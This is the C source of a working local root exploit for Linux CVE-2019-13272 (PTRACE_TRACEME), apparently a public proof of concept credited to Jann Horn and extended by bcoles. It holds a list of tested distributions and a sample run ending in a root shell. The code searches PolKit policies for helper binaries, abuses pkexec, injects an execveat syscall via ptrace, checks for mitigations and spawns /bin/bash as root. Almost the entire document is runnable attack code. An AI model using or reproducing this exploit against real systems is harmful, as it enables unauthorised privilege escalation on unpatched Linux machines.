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The known good helpers may have a restrictive PolKit policy on some systems.

Enumerating valid usable helpers with `pkaction` is preferred.
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// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
//
// Uses pkexec technique. Requires execution within the context
// of a user session with an active PolKit agent.
//
// Exploitation will fail if kernel.yama.ptrace_scope >= 2;
// or SELinux deny_ptrace=on.
// ---
// Original discovery and exploit author: Jann Horn
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
// ---
// <bcoles@gmail.com>
// - added known helper paths
// - added search for suitable helpers
// - added automatic targeting
// - changed target suid executable from passwd to pkexec
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272
// ---
// Tested on:
// - Ubuntu 16.04.5 kernel 4.15.0-29-generic
// - Ubuntu 18.04.1 kernel 4.15.0-20-generic
// - Ubuntu 18.04.3 kernel 5.0.0-23-generic
// - Ubuntu 19.04 kernel 5.0.0-15-generic
// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
// - Linux Mint 17.3 kernel 4.4.0-89-generic
// - Linux Mint 18.3 kernel 4.13.0-16-generic
// - Linux Mint 19 kernel 4.15.0-20-generic
// - Xubuntu 16.04.4 kernel 4.13.0-36-generic
// - ElementaryOS 0.4.1 4.8.0-52-generic
// - Backbox 6 kernel 4.18.0-21-generic
// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
// - Kali kernel 4.19.0-kali5-amd64
// - MX 18.3 kernel 4.19.37-2~mx17+1
// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64
// - CentOS 8 kernel 4.18.0-80.el8.x86_64
// - Debian 9.4.0 kernel 4.9.0-6-amd64
// - Debian 10.0.0 kernel 4.19.0-5-amd64
// - Devuan 2.0.0 kernel 4.9.0-6-amd64
// - SparkyLinux 5.8 kernel 4.19.0-5-amd64
// - SparkyLinux 5.9 kernel 4.19.0-6-amd64
// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
// - Mageia 6 kernel 4.9.35-desktop-1.mga6
// - Antergos 18.7 kernel 4.17.6-1-ARCH
// - lubuntu 19.04 kernel 5.0.0-13-generic
// - Sabayon 19.03 kernel 4.20.0-sabayon
// - Pop! OS 19.04 kernel 5.0.0-21-generic
// ---
// [user@localhost CVE-2019-13272]$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root
// [user@localhost CVE-2019-13272]$ ./ptrace_traceme_root
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// [.] Checking environment ...
// [~] Done, looks good
// [.] Searching policies for useful helpers ...
// [.] Ignoring helper (does not exist): /usr/sbin/pk-device-rebind
// [.] Trying helper: /usr/libexec/gsd-backlight-helper
// [.] Spawning suid process (/usr/bin/pkexec) ...
// [.] Tracing midpid ...
// [~] Attached to midpid
// [root@localhost CVE-2019-13272]# id
// uid=0(root) gid=0(root) groups=0(root),1000(user)
// [root@localhost CVE-2019-13272]# uname -a
// Linux localhost.localdomain 4.18.0-80.el8.x86_64 #1 SMP Tue Jun 4 09:19:46 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
// ---
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <fcntl.h>
#include <sched.h>
#include <stddef.h>
#include <stdarg.h>
#include <pwd.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <linux/elf.h>
#define DEBUG
#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif
/*
* enabled automatic targeting.
* uses pkaction to search PolKit policy actions for viable helper executables.
*/
#define ENABLE_AUTO_TARGETING 1
/*
* fall back to known helpers if automatic targeting fails.
* note: use of these helpers may result in PolKit authentication
* prompts on the session associated with the PolKit agent.
*/
#define ENABLE_FALLBACK_HELPERS 1
static const char *SHELL = "/bin/bash";
static int middle_success = 1;
static int block_pipe[2];
static int self_fd = -1;
static int dummy_status;
static const char *helper_path;
static const char *pkexec_path = "/usr/bin/pkexec";
static const char *pkaction_path = "/usr/bin/pkaction";
struct stat st;
const char *helpers[1024];
/* known helpers to use if automatic targeting fails */
#if ENABLE_FALLBACK_HELPERS
const char *known_helpers[] = {
"/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
"/usr/lib/unity-settings-daemon/usd-backlight-helper",
"/usr/lib/unity-settings-daemon/usd-wacom-led-helper",
"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
"/usr/lib/x86_64-linux-gnu/cinnamon-settings-daemon/csd-backlight-helper",
"/usr/sbin/mate-power-backlight-helper",
"/usr/sbin/xfce4-pm-helper",
"/usr/bin/xfpm-power-backlight-helper",
"/usr/bin/lxqt-backlight_backend",
"/usr/libexec/gsd-wacom-led-helper",
"/usr/libexec/gsd-wacom-oled-helper",
"/usr/libexec/gsd-backlight-helper",
"/usr/lib/gsd-backlight-helper",
"/usr/lib/gsd-wacom-led-helper",
"/usr/lib/gsd-wacom-oled-helper",
"/usr/lib64/xfce4/session/xsfm-shutdown-helper",
};
#endif
/* helper executables known to cause problems (hang or fail) */
const char *blacklisted_helpers[] = {
"/xf86-video-intel-backlight-helper",
"/cpugovctl",
"/resetxpad",
"/package-system-locked",
"/cddistupgrader",
};
#define SAFE(expr) ({ \
typeof(expr) __res = (expr); \
if (__res == -1) { \
dprintf("[-] Error: %s\n", #expr); \
return 0; \
} \
__res; \
})
#define max(a,b) ((a)>(b) ? (a) : (b))
/*
* execveat() syscall
* https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl
*/
#ifndef __NR_execveat
# define __NR_execveat 322
#endif
/* temporary printf; returned pointer is valid until next tprintf */
static char *tprintf(char *fmt, ...) {
static char buf[10000];
va_list ap;
va_start(ap, fmt);
vsprintf(buf, fmt, ap);
va_end(ap);
return buf;
}
/*
* fork, execute pkexec in parent, force parent to trace our child process,
* execute suid executable (pkexec) in child.
*/
static int middle_main(void *dummy) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
pid_t middle = getpid();
self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
pid_t child = SAFE(fork());
if (child == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
SAFE(dup2(self_fd, 42));
/* spin until our parent becomes privileged (have to be fast here) */
int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
char *needle = tprintf("\nUid:\t%d\t0\t", getuid());
while (1) {
char buf[1000];
ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
buf[buflen] = '\0';
if (strstr(buf, needle)) break;
}
/*
* this is where the bug is triggered.
* while our parent is in the middle of pkexec, we force it to become our
* tracer, with pkexec's creds as ptracer_cred.
*/
SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
/*
* now we execute a suid executable (pkexec).
* Because the ptrace relationship is considered to be privileged,
* this is a proper suid execution despite the attached tracer,
* not a degraded one.
* at the end of execve(), this process receives a SIGTRAP from ptrace.
*/
execl(pkexec_path, basename(pkexec_path), NULL);
dprintf("[-] execl: Executing suid executable failed");
exit(EXIT_FAILURE);
}
SAFE(dup2(self_fd, 0));
SAFE(dup2(block_pipe[1], 1));
/* execute pkexec as current user */
struct passwd *pw = getpwuid(getuid());
if (pw == NULL) {
dprintf("[-] getpwuid: Failed to retrieve username");
exit(EXIT_FAILURE);
}
middle_success = 1;
execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name,
helper_path,
"--help", NULL);
middle_success = 0;
dprintf("[-] execl: Executing pkexec failed");
exit(EXIT_FAILURE);
}
/* ptrace pid and wait for signal */
static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
struct user_regs_struct regs;
struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
SAFE(waitpid(pid, &dummy_status, 0));
SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
/* set up indirect arguments */
unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
struct injected_page {
unsigned long argv[2];
unsigned long envv[1];
char arg0[8];
char path[1];
} ipage = {
.argv = { scratch_area + offsetof(struct injected_page, arg0) }
};
strcpy(ipage.arg0, arg0);
int i;
for (i = 0; i < sizeof(ipage)/sizeof(long); i++) {
unsigned long pdata = ((unsigned long *)&ipage)[i];
SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
(void*)pdata));
}
/* execveat(exec_fd, path, argv, envv, flags) */
regs.orig_rax = __NR_execveat;
regs.rdi = exec_fd;
regs.rsi = scratch_area + offsetof(struct injected_page, path);
regs.rdx = scratch_area + offsetof(struct injected_page, argv);
regs.r10 = scratch_area + offsetof(struct injected_page, envv);
regs.r8 = AT_EMPTY_PATH;
SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
SAFE(waitpid(pid, &dummy_status, 0));
return 0;
}
static int middle_stage2(void) {
/* our child is hanging in signal delivery from execve()'s SIGTRAP */
pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
return force_exec_and_wait(child, 42, "stage3");
}
// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *
static int spawn_shell(void) {
SAFE(setresgid(0, 0, 0));
SAFE(setresuid(0, 0, 0));
execlp(SHELL, basename(SHELL), NULL);
dprintf("[-] execlp: Executing shell %s failed", SHELL);
exit(EXIT_FAILURE);
}
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *
static int check_env(void) {
int warn = 0;
const char* xdg_session = getenv("XDG_SESSION_ID");
dprintf("[.] Checking environment ...\n");
if (stat(pkexec_path, &st) != 0) {
dprintf("[-] Could not find pkexec executable at %s\n", pkexec_path);
exit(EXIT_FAILURE);
}
if (stat("/dev/grsec", &st) == 0) {
dprintf("[!] Warning: grsec is in use\n");
warn++;
}
if (xdg_session == NULL) {
dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");
warn++;
}
if (system("/bin/loginctl --no-ask-password show-session \"$XDG_SESSION_ID\" | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
dprintf("[!] Warning: Could not find active PolKit agent\n");
warn++;
}
if (system("/sbin/sysctl kernel.yama.ptrace_scope 2>&1 | /bin/grep -q [23]") == 0) {
dprintf("[!] Warning: kernel.yama.ptrace_scope >= 2\n");
warn++;
}
if (stat("/usr/sbin/getsebool", &st) == 0) {
if (system("/usr/sbin/getsebool deny_ptrace 2>&1 | /bin/grep -q on") == 0) {
dprintf("[!] Warning: SELinux deny_ptrace is enabled\n");
warn++;
}
}
if (warn > 0) {
dprintf("[~] Done, with %d warnings\n", warn);
} else {
dprintf("[~] Done, looks good\n");
}
return warn;
}
/*
* Use pkaction to search PolKit policy actions for viable helper executables.
* Check each action for allow_active=yes, extract the associated helper path,
* and check the helper path exists.
*/
#if ENABLE_AUTO_TARGETING
int find_helpers() {
if (stat(pkaction_path, &st) != 0) {
dprintf("[-] No helpers found. Could not find pkaction executable at %s.\n", pkaction_path);
return 0;
}
char cmd[1024];
snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path);
FILE *fp;
fp = popen(cmd, "r");
if (fp == NULL) {
dprintf("[-] Failed to run %s: %m\n", cmd);
return 0;
}
char line[1024];
char buffer[2048];
int helper_index = 0;
int useful_action = 0;
int blacklisted_helper = 0;
static const char *needle = "org.freedesktop.policykit.exec.path -> ";
int needle_length = strlen(needle);
while (fgets(line, sizeof(line)-1, fp) != NULL) {
/* check the action uses allow_active=yes */
if (strstr(line, "implicit active:")) {
if (strstr(line, "yes")) {
useful_action = 1;
}
continue;
}
if (useful_action == 0)
continue;
useful_action = 0;
/* extract the helper path */
int length = strlen(line);
char* found = memmem(&line[0], length, needle, needle_length);
if (found == NULL)
continue;
memset(buffer, 0, sizeof(buffer));
int i;
for (i = 0; found[needle_length + i] != '\n'; i++) {
if (i >= sizeof(buffer)-1)
continue;
buffer[i] = found[needle_length + i];
}
/* check helper path against helpers defined in 'blacklisted_helpers' array */
blacklisted_helper = 0;
for (i=0; i<sizeof(blacklisted_helpers)/sizeof(blacklisted_helpers[0]); i++) {
if (strstr(&buffer[0], blacklisted_helpers[i]) != 0) {
dprintf("[.] Ignoring helper (blacklisted): %s\n", &buffer[0]);
blacklisted_helper = 1;
break;
}
}
if (blacklisted_helper == 1)
continue;
/* check the path exists */
if (stat(&buffer[0], &st) != 0) {
dprintf("[.] Ignoring helper (does not exist): %s\n", &buffer[0]);
continue;
}
helpers[helper_index] = strndup(&buffer[0], strlen(buffer));
helper_index++;
if (helper_index >= sizeof(helpers)/sizeof(helpers[0]))
break;
}
pclose(fp);
return 0;
}
#endif
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
int ptrace_traceme_root() {
dprintf("[.] Trying helper: %s\n", helper_path);
/*
* set up a pipe such that the next write to it will block: packet mode,
* limited to one packet
*/
SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
char dummy = 0;
SAFE(write(block_pipe[1], &dummy, 1));
/* spawn pkexec in a child, and continue here once our child is in execve() */
dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path);
static char middle_stack[1024*1024];
pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
if (!middle_success) return 1;
/*
* wait for our child to go through both execve() calls (first pkexec, then
* the executable permitted by polkit policy).
*/
while (1) {
int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
char buf[16];
int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
buf[buflen] = '\0';
*strchrnul(buf, '\n') = '\0';
if (strncmp(buf, basename(helper_path), 15) == 0)
break;
usleep(100000);
}
/*
* our child should have gone through both the privileged execve() and the
* following execve() here
*/
dprintf("[.] Tracing midpid ...\n");
SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
SAFE(waitpid(midpid, &dummy_status, 0));
dprintf("[~] Attached to midpid\n");
force_exec_and_wait(midpid, 0, "stage2");
exit(EXIT_SUCCESS);
}
int main(int argc, char **argv) {
if (strcmp(argv[0], "stage2") == 0)
return middle_stage2();
if (strcmp(argv[0], "stage3") == 0)
return spawn_shell();
dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n");
check_env();
if (argc > 1 && strcmp(argv[1], "check") == 0) {
exit(0);
}
int i;
#if ENABLE_AUTO_TARGETING
/* search polkit policies for helper executables */
dprintf("[.] Searching policies for useful helpers ...\n");
find_helpers();
for (i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {
if (helpers[i] == NULL)
break;
if (stat(helpers[i], &st) != 0)
continue;
helper_path = helpers[i];
ptrace_traceme_root();
}
#endif
#if ENABLE_FALLBACK_HELPERS
/* search for known helpers defined in 'known_helpers' array */
dprintf("[.] Searching for known helpers ...\n");
for (i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
if (stat(known_helpers[i], &st) != 0)
continue;
helper_path = known_helpers[i];
dprintf("[~] Found known helper: %s\n", helper_path);
ptrace_traceme_root();
}
#endif
dprintf("[~] Done\n");
return 0;
}